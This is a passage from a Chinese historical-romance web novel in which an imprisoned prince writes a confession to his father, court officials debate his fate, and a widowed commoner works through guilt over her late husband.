兰见春从食盒里拿出一盘蒸饺:“莲花白馅的,殿下还吃吗?”
萧沃张开嘴,等着她投喂,兰见春给他塞了一个。
兰见春又给萧沃续了一个饺子:“殿下挨了板子,又被关在了这种地方……吃的饭有毒,还要提防有人刺杀,陛下竟一点都不心疼。”
萧沃把嘴里的饺子吃完才说:“都是我自找的。原以为逼一逼他,他就能跟我服软。现在看来是我错了,他心里根本就没有我这个儿子。”
兰见春满眼心疼。
“我母后薨逝后,阖宫上下都以长春宫马首是瞻,我免不了要吃些苦头。长春宫封后之后,老二也成了嫡子,我的日子比以往更艰难。”萧沃叹息,“这样的日子,我早就习惯了。”
兰见春替他打抱不平:“新皇后也是个蛇蝎心肠。我们那有继母对继子不好的,都是要把粮食留给亲孩子。可你不一样,不用担心粮食不够吃,对你好一点又不会掉了她的肉!”
萧沃直摇头,反倒坦坦荡荡地说:“普通人家有粮食要分,天家有皇位要争。陈昀对我狠,全都是为了她儿子。我理解她,也不恨她。”
萧沃咬着后槽牙,他脸上很少出现这种阴鸷、愤懑的神情:“我恨那个人……”
萧沃没有把他的苦水都倒给兰见春,但她能感觉到萧沃铺天盖地的恨意,像梭梭树的根一样,深深地扎进他的皮肉,他的魂魄里。
兰见春把最后一个饺子塞进他嘴里:“辛苦了。”
萧沃把脸蛋靠在她掌心里,心里暖呼呼的。他看着爬满青苔的墙面,说:“关关难过关关过。”
兰见春点头:“嗯。”
萧沃感激地说:“谢谢你。”
兰见春:“嗯?”
“真好吃。”
萧沃平静地望着远处,大概是这几天让他彻底认清了皇帝和萧回,他不会对所谓的“家人”抱有幻想了,如有来日,他们便是与自己势不两立的敌人。
“我会给陛下认错的。”萧沃无奈地笑,“今天我就写悔过书。我躲过了两次刺杀,我肯定躲不过第三次,我扛不下去了……”
兰见春使劲点头:“认错是对的。”
萧沃咬紧后槽牙:“但我不甘心……”
“保命要紧。”兰见春说,“殿下不能轻易折在这里,您还有大事没做呢。”
萧沃无奈地泄了口气:“我没机会了。”
“殿下,不能说这种丧气话。”兰见春说,“您认个错,陛下会原谅您。您一定要保重好身体,不光潼裕,天下还有千千万万的百姓等着殿下呢。”
萧沃皱着眉头,心里难受,想说又说不出。
兰见春嗫嚅道:“我也……等着殿下。”
萧沃望着她。
“殿下是我在上京,不,是我在这世上,唯一的……”兰见春哽咽了,她想说萧沃是她唯一的朋友,但又觉得自己身份低贱,怎么能与萧沃这种天潢贵胄做朋友呢?
于是她想了很久,都没有一个好词来形容她与萧沃的关系。
萧沃问:“唯一的……什么?”
兰见春摇头:“我不知道。”
“那就……”萧沃主动握住她的手,“是同袍,是——软肋。”
软肋。
是的。
——我本不会低头,准备用死换解脱,用死来惩罚我那昏庸残忍的父亲,但看见你的眼泪,我就想活下去,我不想你流泪。
“嗯。”她点头。
萧沃笑了:“我一定好好活着。”
月亮静悄悄,东方既白。
“殿下,我有一个问题。”
“你问。”
“为什么去潼裕?”
她问出了她心中最关心的问题。她到现在都不理解萧沃一个皇子,为何到潼裕,又为何来到了潼裕的最北端羌榆县。在她的认知里,羌榆,甚至是一整个潼裕,若非皇帝派遣,是不可能有皇子愿意来的。
萧沃迟疑片刻,说:“是舅父让我去的。”
兰见春:“殿下话只说了一半。”
萧沃故意咳嗽两声,果然,敷衍不了她:“其实是——”
“殿下不方便说,就不用说了。”兰见春轻声说,“殿下不要因我而为难。”
萧沃想了想,抱歉地说:“上京城里的弯弯绕绕实在烧脑子,说给你听,也只是徒增烦恼。等到这一切都结束,你自然就明白我为何去潼裕了。”
“还有……”兰见春看着他的眼睛,本来她想把何瑞生信中的那个标记给他,转念一想,或许时机未到,“没事了。”
萧沃好奇地说:“你这可是少说了大半句话。”
“我还有件东西给你。”兰见春把头扭向一边,“……我丈夫的遗物。”
萧沃一听差点要坐起来了:“什么?”
“等你平平安安地离开宗正寺再说。”兰见春说,“现在还不是时候。”
萧沃信誓旦旦地说:“我明天就从这出去。”
“少吹牛了。”兰见春看一眼外面的天色,说,“天亮了,我该走了。”
萧沃不回答,抓着她的手松开了些。
“你一定要跟陛下认错。”
“嗯。”
“好好吃饭,好好养伤。”
“嗯。”
“谢谢你。”
“我也一样。”
兰见春凝望萧沃明亮的眼眸,转身潜入了无尽的夜晚与浓雾中。
萧沃瞪了很久的门,才缓过神来。他将右手扣在自己的心上,能清晰地
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感觉到心跳。好贱的一条命,就这样又活过来了。
他扶着墙一点点地支起上半身,残月与朝阳的光一起透过窗,落在了他身上。他垂眸,眼泪似白水晶珠子颗颗往下落。他摊开了手,捧了一把月光,连同指尖残留的她的气息,一同泼在自己脸上。
他很想活下去。
或许在自己为她挡箭的时候,或许在她把自己揽在怀里的时候,或许是在她拥抱自己的伤疤时,又或许是在自己回过魂、睁开眼见到她的时候,萧沃就不想死了。
她身上的味道是原始的,是淳朴的,是让人心里踏实的,如静水流深,如沃野无垠。
萧沃双手撑地,抓到了一边的拐杖,他咬牙站起来,一点点地挪到了书桌边。他撑着桌面,往砚台里倒了一点水,抓着墨块使劲研墨,好半天才弄出来一点墨汁。他舔了舔毛笔,蘸墨、落笔。
“父皇”、“知错”几个字他写了不知多少次,一边干呕一边写,眼泪晕脏了他的信。
自母后去世后,这是萧沃第一次跟皇帝低头。他不是认输了,而是他想活着。
很想再见到她。
眷恋她身上的味道,眷恋她怀抱的柔软,眷恋她掌心的温暖。
他的认罪书写的潦草,写错了就划掉继续写,洋洋洒洒给皇帝认了五张纸的罪,写完天都亮了。
萧沃累得倒在地上,他的认罪书像白色裹尸布一样飘落下来,盖住了他的脸。有过纸张的缝隙,他望着腐朽的房梁,憧憬地笑了,眼泪满面。
活着。
为了我们。
我一定好好地活着。
汪琢风风火火地来了宗正寺,萧沃离老远看,确认他手里是拿着圣旨的。等他站在了屋外头,看见萧沃这幅模样,赶紧把圣旨塞回了袖子里。
“大殿下!”汪琢匆匆冲进屋子,看见萧沃写的是什么东西,暗暗松了口气,眼泪说来就来,“您受伤了?!箭伤?您遇刺了?!太医!传太医!”
萧沃随手拿起两页认罪书递给汪琢,哽咽道:“儿臣错了……”
汪琢点头,欣慰地说:“殿下明白就好……明白就好……”
“父皇!父皇他——”萧沃抓住汪琢的手,哭着问,“还好吗?身体可还康健?”
“陛下这几日吃不好睡不好,”汪琢擦擦眼角的泪,“但奴才相信,陛下看了殿下的信,会好起来的。”
“都是因为我……”萧沃哭道,“我一时钻了牛角尖,不明白父皇的良苦用心。公公,求您转告父皇,儿臣知错了,求父皇放了儿臣……”
汪琢使劲点头:“奴才一定禀告陛下。”
“这些天多亏了汪公公,要不是您让太医一直在宗正寺守着,恐怕我早就——”萧沃垂下头,“公公于我有恩,无以为报啊。”
汪琢摇头:“这都是陛下的意思。殿下,陛下心里还是有您的。”
“我因母后的事与父皇反目,如今想来,到底是父皇宽宏,容忍了我这么多年。”萧沃双手抓住汪琢,“公公!求您回宫,一定要告诉父皇,我知错了,我真的知错了!”
汪琢说:“殿下!不哭!奴才现在就回宫禀告陛下,这就去!”
萧沃往外推他:“快些,快些!”
萧沃瘫倒在地,倒在了一屋中唯一一方暖阳中。
22. 竹心
乾清宫内,靖国公景皑跪在大殿外。他刚脱了铠甲,还没来得及脱战袍,就赶来皇宫为萧沃求情。可皇帝一直不召见他,他就一直跪在乾清宫外。
汪琢匆匆回来,路过景皑时,冲过去想把他搀起来:“国公爷,殿下认错了,您起来吧。”
景皑以为自己听错了,瞪大了眼睛:“殿下……认错了?”
汪琢点头:“昨夜殿下写了悔过书,奴才赶回来要给陛下看呢。”
景皑从袖中取出一块金锭悄悄给了汪琢。汪琢收下,扫视一圈殿门口的几个小太监,他们便识相地低下了头。
景皑小声问:“公公去宗正寺,是不是为了宣旨?”
汪琢点头。
景皑的额头顿时渗出了汗,他的心剧烈跳动,用更小的声音问:“废为庶人?”
汪琢眨了眨眼睛。
景皑顿时像被抽走了筋似的瘫在地上,脑袋嗡嗡响,恶寒如潮水一样漫上来将他淹没。皇帝不光是动了废萧沃的心思,而是直接下旨——景皑双手撑着地面,凑近了汪琢,问:“如果殿下认错,陛下会收回成命吗?”
汪琢摇头:“奴才也不清楚。”
景皑咬紧了后槽牙,如今只能看萧沃的造化了。
这时,他们身后又响起一阵急匆匆的脚步声,来者是乔竹心。
汪琢与景皑同时看向乔竹心,她疑惑地盯着他们,很快她眉心舒展,笑呵呵地拱手向景皑行礼:“国公爷。”
转头对汪琢:“汪公公。”
景皑看了一眼汪琢,乔竹心这时面圣,也不知道安的什么的心。
汪琢问:“乔大人这是——”
“陛下召我入宫。”乔竹心看一眼汪琢的袖子,说,“公公不是有要紧的东西须尽快呈给陛下么?”
景皑一听,吓得头压得更低了。
很明显,乔竹心知道汪琢一大早去宗正寺宣旨,也知道萧沃认了错。她离老远就看见景皑与汪琢鬼鬼祟祟地说些什么,估计是盘算着怎么让陛下收回成命。
乔竹心说:“请公公随我一起面圣。”
“大人先请。”汪琢主动绕到乔竹心身后,期间偷偷给景皑打了个“走”的手势。
景皑会意:乔竹心此次面圣,也是为了萧沃的事来。汪琢此时让他走,一是因自己在这跪,不会有任何结果;二是回去早做打算,以防岷王府有变。
乔竹心是皇帝最信任的人,皇帝此时召见她,说明汪琢那道旨意并非一锤定音,萧沃这事还有缓。
乔竹心的态度,才是决定萧沃命运的关键。
景皑飞速回府,陈瑛早就等在了这里:“老爷,殿下如何了?”
“栖云!”景皑冲后院大喊,“栖云!”
“爹!”景思安与景思娴先后从前厅跑了出来。
景皑见到景思娴并不惊讶,反而还给她行礼:“王妃。”
“爹,这都什么时候了。”景思娴问,“陛下怎么说?”
景皑说:“王妃,您现在就得回府去。”
“我不,”景思娴说,“现在回去不就是坐以待毙?”
“陈瑛,你还跟王妃回府去。”景皑吩咐道,“带着府兵守好了门,倘若有变,一定要保住王妃的性命。找澄阳侯,他会帮你们想办法回辽北。”
“我不走!”景思娴抓住景皑的手腕,“爹,我要是逃了,殿下怎么办?”
“今日汪琢去宗正寺,就是为了宣旨。”景皑沉声说,“陛下要废了殿下。”
景思娴与景思安都愣了。
景思娴:“可没有旨意送到王府。”
“今晨殿下写了悔过书,让汪琢给送进宫去,汪琢因此没宣旨。”景皑想了想,“圣旨不去岷王府倒先去宗正寺,说明这事有缓。我回来的时候,陛下恰好宣乔竹心入宫。”
景思娴眉头都拧到了一起:“乔竹心与殿下并无交集,倘若她在陛下面前说些不中听的,殿下这不就完了吗?”
景皑顿了片刻,说:“以防万一,王妃,你回府去。若殿下安然无恙,你就跟陈瑛去宗正寺接人。若殿下有事,随时准备回辽北。听爹的——”
景皑把景思娴拉到自己面前,小声说:“我会帮你远走高飞。”
听到这话,景思娴眼中霎时噙满了泪水:“不行啊,爹,这时候我怎么能走呢?表哥生死未卜,爹跟弟弟又准备……我不能抛下你们。若真走到那一步,我岂有独善其身的道理?”
“上京有我与栖云,可以一搏。”景皑看一眼景思安,坚定地说,“我们跟殿下都是一家人,我不会抛下任何一个的。”
景思娴拒绝:“不行,我得留下来。”
景皑道:“听话。”
“姐,我明白你的意思。”景思安拍拍景思娴的肩膀,说,“如果是我,我肯定也会选择留下来。但是现在情况不同,乔司丞已经在御前了,若表哥转危为安,那什么都好。但若有什么变故,陛下头一个不放过咱靖国公府。你要是跟我们在这等,一旦发生不测,咱府里连个照应的人都没有。”
景思娴回眸望着景思安。他一直跟着景皑在辽北打仗,皮肤让风吹日晒成了小麦色。但眼睛却坚定得像泰山石,瞧见了就让人心里踏实。
景思娴点头:“好,那我回府做准备。”
景思安点头:“走吧姐,表哥肯定能转危为安的。”
景思娴擦擦鼻子,跟陈瑛离开了。
“栖云,来,”景皑帮他整理衣襟,抚平他胸前的褶皱,之后捧着他的脸,骄傲地说,“我儿长大了,比爹都高了。”
景思安紧咬下唇,景皑说这话,像是诀别。
景皑摘下腰间的虎纹玉佩,放在了他手里:“带上咱们的人。如果陛下听信小人谗言要废了殿下,就跟随爹……清君侧。”
景思安愣了好久,才郑重地点头。
景皑望着黑黢黢的天空——雨,就要来了。
—
“景皑走了,你说,他是不是准备逼宫了?”皇帝站在龙椅旁,一手扶着椅背,一手撑腰,看着乔竹心,笑得比外边的天还阴。
“若陛下是靖国公,您会不会准备?陛下怎么做,靖国公就怎么做。”乔竹心的脸永远是一副比冰块还冷的模样,即便是她讲笑话的时候。
皇帝大笑,饶有兴致地说:“朕一定会。”
汪琢吓得跪下来,捧萧沃认罪书的手快抬不起来了。皇帝大袖一挥,朝他伸出手。汪琢马上把信递了上去。
“乔卿你看,这么厚一沓。”皇帝捏着信,跟乔竹心显摆,“他从来没对朕说过这么多话。你说,究竟是谁让这么个倔驴回心转意了呢?”
乔竹心面不改色:“殿下在宗正寺中大彻大悟。”
“朕可没少亏欠他们母子四人,朕知道,他跟朕往死里犟,都是因为心里不平衡。”皇帝翻开萧沃的信,念道,“‘爹’,划去。‘陛下’,划去。‘父皇’……乔卿,你可知他多少年没唤过朕父皇了?”
乔竹心答:“自孝仁皇后薨逝至今,足有七年。”
皇帝的心忽然抽痛一下,他皱紧了眉头,很快就松开了,继续念:“‘儿臣知错,儿臣不应该
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在百官面前,与父皇针锋相对;儿臣不应对手足兄弟步步紧逼,使其在百官面前丑态百出;儿臣不应急于求成,查贪无法一蹴而就……’你说,他不过是绝了几天食,怎么突然变正常了?”
乔竹心答:“殿下并非不明事理,过去诸般,皆是因过不去孝仁皇后的坎儿。”
皇帝低下了头,不说话了。他翻看那些纸张,指肚拂过萧沃泪水留下的褶皱,好像把手伸到了他身边,替他擦眼泪似的。
皇帝问:“那你说,这道坎,他如今过去了吗?”
“没有。”
皇帝抬眼看着她,眉眼间有朦胧的怒气。
乔竹心答:“孝仁皇后与大殿下母子情深。”
皇帝把信举起来,质问她:“那这是什么意思?”
乔竹心答:“妥协。”
“说到底,他是为了保住他的爵位?”皇帝一把将萧沃的信甩飞,“他还是要保住他的位置,以后好跟泊舟争朕这把椅子!”
乔竹心冷静地说:“殿下保的是岷王府、靖国公府两家人的命。”
皇帝怒目圆睁,不回答。
乔竹心说:“陛下还未废王,二殿下就迫不及待要杀了大殿下,臣都不敢想,等废王旨意一下,大殿下、三殿下必定有性命之忧,京城必定会掀起腥风血雨。”
皇帝肃声说:“朕不是唐高祖。”
乔竹心:“可二殿下——臣实在害怕。”
皇帝冷笑一声。
乔竹心:“二殿下有屹王军,又有赵鹤、陈喆两位阁老做靠山。二殿下素来慷慨,朝中多半大臣都收过其恩惠。陛下试想,如果没了大殿下,二殿下还会不会安分守己?”
皇帝烦躁地说:“你是怪朕太骄纵了他?”
乔竹心垂眸:“臣不敢。”
“泊舟后边有赵鹤陈喆,荫槐还有景皑、温如璋和海益呢!”皇帝说,“你说,朕偏袒了谁?”
乔竹心说:“大殿下为人正直,从未与官员私下结交,与海大人并无更来往。那日海大人帮大殿下说话,皆因大殿下是为潼裕百姓考量。”
皇帝又问:“可他往你晦朔司塞了人。”
乔竹心从怀中取出一个奏本呈给了皇帝:“臣查了此人的身份,她是潼裕人,其亲人都死在了今夏的洪水中。”
皇帝翻开了乔竹心的奏本,简单几句话,就写完了兰见春的遭遇。
皇帝嗤笑:“荫槐对她可是救命之恩,那她还会忠于朕吗?”
“陛下将她放了进来,想必陛下已经有了掌控她的办法。”乔竹心说,“依臣看,控制大殿下,才是万万要紧的事。”
皇帝深吸一口气:“朕该如何?”
乔竹心跪下,说:“放了大殿下,以制衡二殿下。以述职名义留靖国公在京,之后,逼其主动交出辽北兵权。”
皇帝盯着她,她脊背发凉。
“你变了。”皇帝说。
乔竹心叩拜:“臣与整个晦朔司的命都在陛下手中,臣不敢生出二心。但臣食万民俸禄,亦不敢用百姓安危开玩笑。”
皇帝沉默。
乔竹心:“陛下,臣知道自己的身份……如果您执意废王,晦朔司会帮您处理好一切。”
所谓处理,就是搜罗出一箩筐莫须有的罪名,一股脑地往萧沃、往景皑头上安。逼迫史家朱笔,把他们写成一群不忠不义的怪物,让他们遗臭万年,让“罢黜”来得名正言顺。
皇帝抬眸盯着她:“朕并非不辨黑白之人。”
乔竹心坚定道:“那请陛下放了大殿下。”
23. 惭愧
“咚咚咚……”
朦朦胧胧间,兰见春听见有人敲门。她如往常一样拉开了门,看见一个人浸在暖融融的阳光与白蒙蒙的水汽中。
一开始,她只能看清那人深蓝色的衣摆,他每走一步,绸子上银绣的卷云纹就荡起来,好像云海翻涌的夜晚。
之后,那人慢慢地走向她,她看见他腰间坠的油润的玉佩。她认得那水滴状的玉佩,她的心开始快速地跳动,兰见春忍不住低下了头。
一双手伸到了她面前,像是邀请她赴约似的,她望着那白里透粉的掌心,心越跳越快。
兰见春抬头,仍有一层水雾那人面前,她看不清他的脸,不过她知道那人是谁。
那人从袖中取出一只细长的木盒子,说:“我想送给你一个礼物。”
兰见春不由得再次低下头,她心说,怎么每次来都要带礼物——很难让人拒绝。
那人抬起手,捏住她发间的钗:“这是什么?”
“是……瑞生的祖母送我的荆钗。”兰见春不由得把头埋更低,她看自己穿的褐色粗麻衣,脸就烧得慌,甚至生出对这荆棘发钗和破旧衣衫的憎恨。
她扯下荆钗,好像着急藏自己的短处。
那人打开了木盒子,露出一根漂亮的金簪子。
兰见春讶异地望着金簪,她从未见过这么漂亮、这么辉煌的东西,晃一下就闪着耀眼的金光,如果把它戴在头上,好像人生都不一样了,好像过去那个蹩脚卑贱的自己就不存在了。
他拿出了金簪子,戴到了兰见春头上。
“真漂亮。”
兰见春怯生生地问:“……真的?”
“我不骗你。”
兰见春鼓起勇气,仰起脖子看他的脸。此时此刻,水雾又淡了好几分,她终于能看清他的脸,他的温柔眉眼。
“殿下……”兰见春呼唤他,“谢谢殿下。”
萧沃轻轻拨开了她额前的碎发,另一只手则悄悄地搭在了她的侧腰,慢慢地滑到她的背后,逐渐用力,把她揽在了怀里。
“它配得上你。”
兰见春霎时涨红了脸,僵硬地窝在他怀里,有些不知所措。
“虎娘。”
兰见春一激灵。
“虎娘!”
兰见春猛地回头,看见身后的水汽急速凝结成雨,“哗啦啦”地落下来,如倾如注。
天地陷入一片黑暗,一个衣衫褴褛的男人从黑暗从雨中走出来。
他半边身子都腐烂了,甚至左腿只剩下白骨,他胸口插满了箭,粘稠的黑血洒了一地。他像野兽一样,脚步沉重。
何瑞生沉声说:“你忘恩负义。”
兰见春惊慌失措地别过头,呢喃道:“不,我不是。”
“我为你而死。”何瑞生说,“我为你,死无葬身之地。”
“不……”兰见春抓住了萧沃的手。
“我们青梅竹马,自幼相爱,我舍命让你活,你怎么能背叛我?”
“我没有,”兰见春辩解着,忽然,萧沃也抽回了手。
她一抬头,就看见萧沃失望的眼神。她一回头,就能看见何瑞生流血的眼睛。
她听见何瑞生不甘心地说:“我尸骨未寒,而你——攀上了高枝,麻雀变凤凰!你背叛我,你薄情、寡义!”
兰见春说:“我不敢……”
她听见何瑞生说:“你不能背叛我,你不能负我。”
兰见春想逃,她求萧沃:“殿下帮帮我!”
萧沃冷得像块冰。他黑洞洞的眼睛望着自己,其中盈满了失望。
她听见何瑞生的咆哮:“你不能!你不能!你不能!”
兰见春使劲摇晃萧沃的手,她甚至给他跪了下来:“殿下救救我!”
萧沃抬起另一只手,试图把她推开。
一只僵硬的手捏住兰见春的肩膀,她的余光瞥见一堆白骨。
何瑞生把下巴支撑在她颈窝,贴着她耳根说:“你得把命还给我……”
“不要!”
兰见春猛地惊醒,腾地一下就坐了起来。床帏让她惊得直晃,小风铃叮叮当当地响。她掀开床帏,看见空寂的小屋里,只有月光在漫步。
是梦,又是噩梦。
她的心快要蹦出来了,她捂着心口,大口大口地喘气。她爬下床,给自己斟了一杯冷水,冰得她直打颤。
自从她从宗正寺回来,就时常做这种梦——面前是萧沃,背后是何瑞生。瑞生时常用透着血泪的眼睛望着自己,她时常被这种梦惊醒。
兰见春伏在床头,像被人抽干了血肉似的。她看向黄历,明天……就是十月初一了。
十月一,送寒衣。是那边太冷,他怨恨自己没有及早把寒衣送过去吗?还是说,他怨恨自己去见了萧沃吗?
兰见春手指蜷缩起来,恐惧、愧疚要把她扯成两半了。
她坚信这是瑞生在怨恨自己,瑞生肯定看出了她动摇的心,故人尸骨未寒,她却把目光看向了其他人,瑞生发火了,所以每天晚上都来梦中折磨她。
兰见春开始后悔,她怨憎自己去了宗正寺,怨憎自己对高高在上的人产生了恬不知耻的企盼,怨憎自己背叛了瑞生。
她今夜是睡不着了。她穿好衣服,拿上角落里为瑞生准备的“寒衣”和纸钱,天还没亮就去了山上白云观。
朝阳映进大殿,映亮神像一半脸庞。神前,一个女人跪在蒲团上,双手抱着摇签筒,嘴里念叨着什么。
兰见春皱紧了眉头,迟迟摇不出答案。她更加紧张,使劲倾斜签筒,“哗啦啦”一声,所有竹签都掉在了地上。
她吓得一身汗,求救似的看向一旁擦拭大殿的老道士。
“莫慌。”老道士说。
兰见春泄了口气,跪着把签一个个地捡起来,再调转好方向,一个个地插进签筒里。
老道士说:“静气。”
兰见春望着她的眼睛,良久,自己才感觉心稍微平复了些。兰见春深吸一口气,心跳声在大殿里越发清晰。
她再次摇签。
这一回,答案很快就掉了出来。老道士颤颤巍巍地走过来,眯起眼看她抽出来了什么。
“来,”老道士往不远处的小桌去,“到这边来。”
老道士对着她抽出来的数字,找对应的签文递给兰见春。
——第三十八签,下下。
兰见春的心咯噔一下,她丢了魂似的,在小桌旁坐下来。
签诗说:
“吟蛩唧唧守孤帏,
千里悬悬望信归,
等得荣华公子到,
秋冬括括雨霏霏。①”
兰见春看了诗,心就凉了一大半,她双手绞在一起,盯着自己的虎口。
老道士在签上画了个符号,问:“你怎么了?”
“道长,我很久、很久都没睡个好觉了。”兰见春小声说。
老道士问:“做噩梦吗?”
兰见春说:“今年夏天,我丈夫横死……最近我夜夜都能梦见他。”
老道士点头,等她说完。
兰见春抿了抿嘴唇,她不知道该不该把她遇见萧沃的事说出来。
“然后呢?”老道士像是把她看透了似的,“为何隔了这么长时间梦见他,还是噩梦?”
兰见春如坐针毡,她想逃。
老道士:“你这样,我没法帮你。”
“我……”望着老道士清澈的眼睛,兰见春竟丢盔弃甲似的,红了眼睛,“他死后,我遇见了一个有钱有势的公子。公子待我很好,我……我感觉我……”
老道士依然不说话,她还在等她说完。
“我时常梦见我丈夫,浑身是血地站在我背后,他盯着我和公子,骂我‘忘恩负义’……”兰见春哽咽了。
老道士:“你想问的是什么?”
兰见春说:“我怎么才能平息他的火气,好好地给他劝走,做法事还是供牌位,都可以,我真的想睡个好觉。”
老道士沉吟片刻:“不用那么麻烦。”
兰见春愣了片刻,以为自己听错了:“您的意思是……”
老道士:“缠着你的不是他,是你自己。”
兰见春愣住,沉默良久。她摇摇头,说:“我不明白,道长,我不明白。”
“你思虑太重,”老道士看着签文,“倒是你丈夫,他早就走了,放下了。”
兰见春诧异道:“早就……走了吗?”
老道士说:“你愧疚,对吗?”
兰见春点头。
老道士看着签文,说:“孤帏苦等,困住你的是自己的心;望信归,望的是你亡夫原谅你;荣华公子到
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,秋冬雨霏,说的是你若破不了这心狱,纵得好音,依然凄怜。”
兰见春忍不住哭出了声。
是啊,明明瑞生都给了她放妻书,明明瑞生都说了希望她来日幸福,为何自己还要捆着自己不放呢?
“我觉得愧疚,道长,”兰见春小声说,“我觉得我对不起他。”
老道士叹息一声,却说:“你还放不下他。姑娘,遇上这种事,善良的人都会觉得愧疚,人之常情。但咱的日子还得过,人得朝前看。”
兰见春擦眼泪:“我过不去心里这道坎。”
“此签虽是下下,但若你放下过去,也能是上上。”老道士把签还给兰见春,“如果你实在过不去,那就顺其自然吧。”
兰见春问:“顺其自然?”
老道士说:“顺应自己内心的选择吧。”
兰见春敛眸,她深吸一口气,心里隐约有一个答案。
结婚的时候,他们需要承诺,有福同享、有难同当。那天,瑞生惨死,乡邻惨死,而自己却踩着他们的血肉逃出生天。兰见春始终都认为自己亏欠了他们,欠了他们一条命。
至于萧沃,她无以为报。
今后,也不会对他生出痴心妄想了。
“走之前,把签文烧了吧。”
“……好。”
她接过签文,站起来往外走。她决心放弃对萧沃的期待,她感觉肩膀上的担子轻了,她跨出神殿,朝阳落在了她脸上。
她把签文点燃,黄纸在她指尖燃烧,火苗跳动着,很快就烧到了她的指尖,她松开了指头,在火灭的时候,风带走了仅剩的一点灰烬,也带走了她心头的锁。
她再次返回神殿,问老道士:“我想求个平安符。”
“随我来。”
老道士带她绕到后殿,颤颤巍巍地走进小屋,颤颤巍巍地端着一个托盘出来,是各式各样的福袋:“挑一个。”
兰见春拿了一个绿色的:“谢谢道长。”
她把平安符踹进了怀中,走出了白云观,在山下,她把送给瑞生的寒衣烧了。
“瑞生,”兰见春望着火焰,用乡音对他说话,“对不起,来晚了。”
火越烧越旺,风一吹就往兰见春脸上燎。
“最近事太多了,我走不开。”兰见春让火弄得眼睛疼,她抽抽鼻子,用棍子戳戳寒衣,把灰烬都拢在一起,“不是怠慢你。”
火堆噼啪噼啪响,她又往里扔了两片纸钱。
“不敢忘,不敢忘,”兰见春念叨着,“我一辈子都念着你。”
兰见春解释道:“在那边别省着,钱不够了就托梦给我。”
火每一回都刚好擦过她的脸颊,像瑞生的手,抚摸了她的脸庞。
兰见春不躲避,望着火从旺变小,她哽咽道:“哥呀……对不起。”
—
兰见春心口好多了,也不感觉压得慌了,呼吸顺畅了,也不做噩梦了。
从那之后,她每每离开官署回家,都会坐在油灯旁边绣花。针勾着米白色的线穿过浅青色的棉纱布,连成两团花朵;鹅黄色的线点上花蕊,澄绿的线作树叶——绣的是槐树花。她绣好样子后,折成一个巴掌的香囊。香囊里加了粗布内衬,正反的连接处,她里外都加密了针脚。
这样一个小玩意可花了她不少功夫,早起出朔院晨会的时候都恍恍惚惚的。
熬了好几个晚上,最后在香囊中放入安神助眠的药材,她揣上东西就去了磬音楼。
“兰大人快请进,”顾鸥亲自给兰见春掀门帘,“是可有什么地方我帮得上的?您尽管开口。”
兰见春从袖中取出她新绣的香囊,递给顾鸥。
顾鸥瞧那细密的针脚,一时没反应过来:“那天其实是您帮到了我们,这倒是没必——”
“还请您帮我送给岷王殿下。”兰见春扯出一个礼貌的笑,“这个香囊中有白云观的平安符,还有一些助眠的小药材。殿下帮潼裕人争一个公道,我真心想谢谢他。”
“啊——啊——原来如此。”顾鸥挠挠脑袋,“您怎么不自己给他呢?”
“晦朔司管得严,”兰见春咽了口唾沫,“我也不想……让他误会。”
“哦——”顾鸥别有深意地说,“我明白了,话一定带到。”
“谢谢东家。”兰见春颔首告辞。
24. 萧锦
两个月后,皇帝才把萧沃放出了宗正寺。
冬月,大雪,天地间一片白茫茫。
萧沃只裹了一件单薄的披风,杵着双拐,颤颤巍巍地挪出府。等他的顾鸥冲上来,为他披上了狐裘。
萧沃的背弓着,脸又干又白,瘦得像一张随时会被风吹破的纸。顾鸥望着他,红了眼眶。
“不争气。”萧沃笑话他。
顾鸥薅一把他的长胡子,给萧沃疼得直呲牙:“疼!”
“老东西,”顾鸥搡了他一把,“我们都很担心你。”
萧沃骄傲地说:“我这不是出来了?”
两人走到了马车旁,顾鸥把他扶了上去:“我送你回王府。”
“算了,去磬音楼。”萧沃说,“我这幅样子,别把人吓坏了。”
“也行,收拾收拾。”顾鸥把暖炉推到萧沃身边,“正好楼里有大夫,给你把把脉。”
萧沃把手揣进袖子里,主动问:“这段时间,兰夫人来过磬音楼吗?”
顾鸥摇头:“没有。”
萧沃不忍失望,他吸吸鼻子,酸溜溜地说:“旨意一出,大家就都知道陛下放过我了。她不来是对的,别给自己惹麻烦。”
顾鸥凑到他跟前,贱嗖嗖地问:“但我看你怎么那么不痛快呢?”
萧沃摁住他的脸,把他推了回去:“没有。”
顾鸥:“真没有?”
萧沃昂起头,倔强地说:“没有。”
顾鸥啧啧两声,手里出现了一个小香囊:“那这东西,也就没必要给你了。”
萧沃一听坐不住了,伸手要抢,顾鸥不给,他就指着顾鸥的鼻子:“给我。”
“你不是没有不痛快么?”顾鸥把小香囊拎起来在他眼前晃,“兰夫人说,你要是不开心了,就把这东西送给你——赔罪。”
萧沃把手抱在胸前:“本王现在不痛快了,顾行远,把东西给我。”
顾鸥笑:“对嘛!她没来磬音楼,你觉得她不关心你了,你明明就是不开心。”
萧沃都听不见他说话了,这香囊好生漂亮:用浅青色棉布做底,用米白、鹅黄的棉线一针一针地绣了满满两面的槐花。因为针脚太密,小小的香囊像是穿了一副铠甲。
“最近她忙得脚不沾地,但也打听不到人家在忙什么。应该是跟二殿下有关系吧?哦对,他往京城押了几个巨贪,等着年前砍头呢。”
萧沃小心翼翼地拆开香囊,发现里面有薰衣草、小茉莉花、柏子仁……净都是些安神助眠的药材。不过掂起来还有点分量,他伸手去掏,摸出来一小方块朱砂,上面还刻了符咒。
顾鸥继续说:“这个二殿下可真能演,在潼裕闹了一出‘大义灭亲’,连自己的副将都拖出来杀头。你猜怎么着?人家现在得了个‘屹青天’的名号!估计今年春节,陛下又得嘉奖他了……诶,你听没听见我说话?”
萧沃把朱砂符拿出来,不明所以,问顾鸥:“这是什么?”
“白云观的平安符。”
“我当然知道。”萧沃笑得可不值钱了,“我让你看呢,这是兰夫人给我的平安符。”
“得得得,别显摆了。”顾鸥嫌弃得撇嘴,“小心不灵了。”
“那不会。”萧沃把平安符塞回去,掸去根本不存在的灰,立马就把香囊挂自己腰上了,笑得可灿烂,“我命大着呢。”
顾鸥拉住他:“我刚才说的话你听进去了没?”
“听进了,不就是老二又露脸了吗?多大点事。”萧沃摩挲香囊,越看越喜欢。
顾鸥冷哼:“等哪天他当上储君,某些人就老实了。”
萧沃倒是乐呵:“猫有猫道狗有狗道,他过得好与不好,都跟我没关系。”
顾鸥表情跟见了鬼一样:“你没事吧?”
“没啊。”
顾鸥要跳起来了:“二殿下都要骑你头上去了,你不着急?”
萧沃:“他早骑我头上了。”
顾鸥看他那副样子就气不打一出来:“你不打算争了?”
“争什么?”
